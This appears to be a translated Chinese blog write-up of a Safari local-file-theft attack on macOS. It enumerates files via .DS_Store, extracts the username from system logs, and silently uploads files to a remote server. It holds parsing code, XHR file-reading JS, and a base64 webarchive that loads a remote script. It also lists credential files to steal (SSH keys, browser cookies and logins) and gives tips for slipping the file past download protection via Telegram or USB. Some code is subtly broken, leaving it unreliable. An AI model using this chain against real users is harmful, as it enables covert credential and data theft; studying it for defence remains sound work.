通常情况下,攻击者的攻击流程大致如下:
1. 用户在浏览器中打开html文件 2. 浏览器读取用户有权限访问的文件列表。 3. 浏览器读取重要文件,并且将他们上传到攻击者启动的远程服务器中,这一过程会在后台进行,并且不会通知用户。
现在我们将这一过程分成几个阶段:
阶段一:在当前用户计算机上收集关于文件的信息。 阶段二:读取文件,将文件上传到远程服务器上。
在阶段一中,攻击者需要得到文件列表。这一步骤不是那么容易解决的,通常来讲,开发者不会允许html页面读取文件夹内容,或者获取当前路径。猜测以及尝试所有可能的路径也不是一个好的选择。虽然一些文件的路径是通用的,比如~/.ssh/id_rsa,但是大部分文件在不同系统中存放的位置是不同的。
假设我们已经将第一阶段中的限制绕过,那么在第二阶段攻击者需要对浏览器的沙箱进行逃逸,进而对文件读取,将其上传到远程服务器。
得到目录列表
macOS不同Windows以及Linux,它具有一个很有趣的属性,当目录被访问时,操作系统会产生隐藏文件:.DS_Store.
这一文件会保存文件浏览会话信息,包括浏览文件窗口的大小以及位置,查看属性和所选图标等信息。这一文件是自动生成的,主要目的是为了快速简单的获取到文件夹信息。
.DS_Store和windows下面的Thumbs.db功能类似,不过.DS_Store中还包含了文件夹以及文件名字。一旦文件夹打开,.DS_Store.
这就非常有趣了,可以通过解析.DS_Store文件很容易获取到文件夹中文件名字。举个例子,下方python代码就可以做到这一点:
##!/usr/bin/env python from ds_store import DSStore import json path = ‘/Users/USERNAME/.DS_Store’ def parse(file): filelist = [] for i in file: if i.filename!=’.’: filelist.append(i.filename) return list(set(filelist)) d=DSStore.open(path, ‘r+’) fileresult=parse(d) print(json.dumps(fileresult)) for name in fileresult: try: d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’) fileresult = parse(d) all.append(fileresult) print(json.dumps(fileresult)) except: pass
将其命名为parse_ds_store.py,执行结果如下:
$ python parse_ds_store.py [“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]
可以看到,我已经得到我当前目录的文件名,这就意味着,我们可以通过递归访问.DS_Store文件获取我电脑上所有具有权限的文件目录结构。
举个例子,在电脑当前目录使用这种方法,在~/.DS_Store中,我们得到如下返回:
[“Backups","Soft","Pictures",".ssh"...][
然后在Backups文件夹中,我们得到:
[“2017”, “2016”, “2015”, …]
进而在访问~/Backups/2017/.DS_Store,得到
[“source”, “sql”, “static”, …]
以此类推。
有两点需要提醒:
1.攻击者需要知道当前系统的用户名称。
2..DS_Store文件只有当用户有权限访问这一文件夹时,才会创建。
如果解决了上述两个问题,那么我们第一阶段攻击算是成功了。
预测有价值信息的文件路径
什么是有价值的信息呢?首先应该关心的是.ssh文件,他存储了密码加密系统的密钥目录。大致内容如下:
~/.ssh/id_rsa; ~/.ssh/id_rsa.key; ~/.ssh/id_rsa.pub; ~/.ssh/known_hosts; ~/.ssh/authorized_keys;
还有.bash_history,它可以让攻击者知道用户之前执行的命令。
存储cookie文件
现在,我们开始找存储cookie的文件,首先,macOS会将账户数据放在一个固定地方:
~/Library/Cookies/Cookies.binarycookies ~/Library/Cookies/com.apple.Safari.cookies
twitter,Skype以及其他应用程序的cookie都可以在这一文件夹中找到。
我们进行到这一步时,还可以对返回HSTS协议的网站列表进行传输。
~/Library/Cookies/HSTS.plist
另外一个有用的文件是关于系统账户信息的文件:
~/Library/Accounts/Accounts4.sqlite
我们还可以在列表中查找其他有用的东西,可能会有意外的收获。
~/Library/Application Support/
举个例子,我们还可以进而找到chrome存储的登录数据以及cookie:
~/Library/Application Support/Google/Chrome/Default/Login Data ~/Library/Application Support/Google/Chrome/Default/Cookies ~/Library/Application Support/Google/Chrome/Default/History
如果运气好的话,还可以找到ftp/sql客户端的登录信息,历史记录,以及日志信息。
悄无声息的访问用户文件
已经了解到了可以访问到哪些重要的文件,现在让我们尝试从safari访问到这些文件吧。
在chrome中,读取本地文件并不是一件很容易的事情,除非在打开chrome中使用--disable-web-security
参数。
Safari同样也会警告不能同本地文件一同使用,比如:file://协议
但是如果文件是从互联网上下载的,safari就会放宽它的验证机制,因此我们可以使用XHR请求本地文件,进而返回文件内容:
如果文件存在,那它就会执行成功。
了解了safari这种特性,我们就可以使用绝对路径去读取文件全部信息,然后将其上传到远程服务端。
但是有一点需要注意,如果我们不知道本机用户名,那么我们就无法得到绝对路径。用户名也是一个难题,比如在/etc/passwd中并不包含用户名信息。
要解决这一问题,可以通过查看系统产生的两个日志文件:/var/log/system.log和/var/log/install.log.在这两个文件中,用户名是可以被找到的。将文件加载到浏览器中,通过正则表达式可以对用户名进行提取。
下方JS代码就是从日志文件中提取所有用户名的代码:
function getUser() { var xhr = new XMLHttpRequest(); try { xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } catch (e) { xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } }
得到文件
攻击者通过文章介绍的第一部分内容之后,下一步就是得到这些文件。只是看看它是如何工作的,我们可以创建一个后端进行简单的接收文件内容以及路径。如果文件为.DS_Store,我们可以使用进一步进行补充。
进一步优化的话,可以利用黑/白名单的机制防止上传大文件,或上传指定类型文件,比如.docx。
但是,系统中如果有其他浏览器呢?这会不会意味着html文件会通过chrome或者opera浏览器打开,降低了攻击效率呢?
为了避免这类问题,我们可以将文件后缀名改为XHTM,这一文件只能由safari打开。
XHTM的定义很清晰,是基于XML的JS内置网页。解释起来有点复杂,它有两种支持的格式,每种都可以进行手动伪造:
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version=”1.0"> <dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj wvYm9keT48L2h0bWw+ </data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict> </dict> </plist>
数据为Base64页面,每行包含59个符号
如何解决数据来源问题?
默认情况下,通过互联网下载的文件都具有执行保护:
这就意味着电子邮件中的附件可能不会执行,不过有个好消息是,不是所有的下载文件都具有保护机制。举个例子,MacOS版本的Telegram就没有保护机制,可以直接执行。在一些实践之后,我们通过telegram桌面版本进行传送恶意XHTM,进而解除执行限制。
这只是一个简单例子,其他类似的情况也是可能的。举个例子,你可以通过一个装有家庭照片的U盘进行传播。
如果你想尝试一下这一例子,你可以在我的github(https://github.com/Bo0oM/Safiler)上找到PoC进行实验。
该怎么办?
在这个时候,作为一个Safari用户,你不能做任何事情。显然,苹果不认为这个问题是安全漏洞。我们还没有了解到有补丁来解决这一问题。
所以需要保持警惕,并且非常小心你从互联网上下载的文件。唯一要做的就是不要使用Safari浏览器。